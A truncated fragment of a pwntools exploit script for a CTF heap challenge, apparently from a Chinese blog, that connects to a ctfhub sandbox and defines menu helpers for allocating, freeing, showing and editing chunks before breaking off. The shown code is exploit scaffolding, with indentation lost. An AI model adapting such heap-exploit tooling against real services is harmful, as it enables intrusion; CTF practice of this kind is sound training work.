版本一
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("challenge-5dd2c6599f1cd66f.sandbox.ctfhub.com",36598)
#io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc-2.23.so")
def add():
io.recvuntil(b">> ")
io.sendline(b"1")
def free(idx):
io.recvuntil(b">> ")
io.sendline(b"2")
io.recvuntil(b"Index:")
io.sendline(str(idx))
def show(idx):
io.recvuntil(b">> ")
io.sendline(b"3")
io.recvuntil(b"Index:")
io.sendline(str(idx))
def edit(idx,size,data):
io.recvuntil(b">> ")
io.sendline(b"4")
io.recvuntil(b"Index:")
io.sendline(str(idx))
io.recvuntil(b"Size:")
io.sendline(str(size))</



被折叠的 条评论
为什么被折叠?



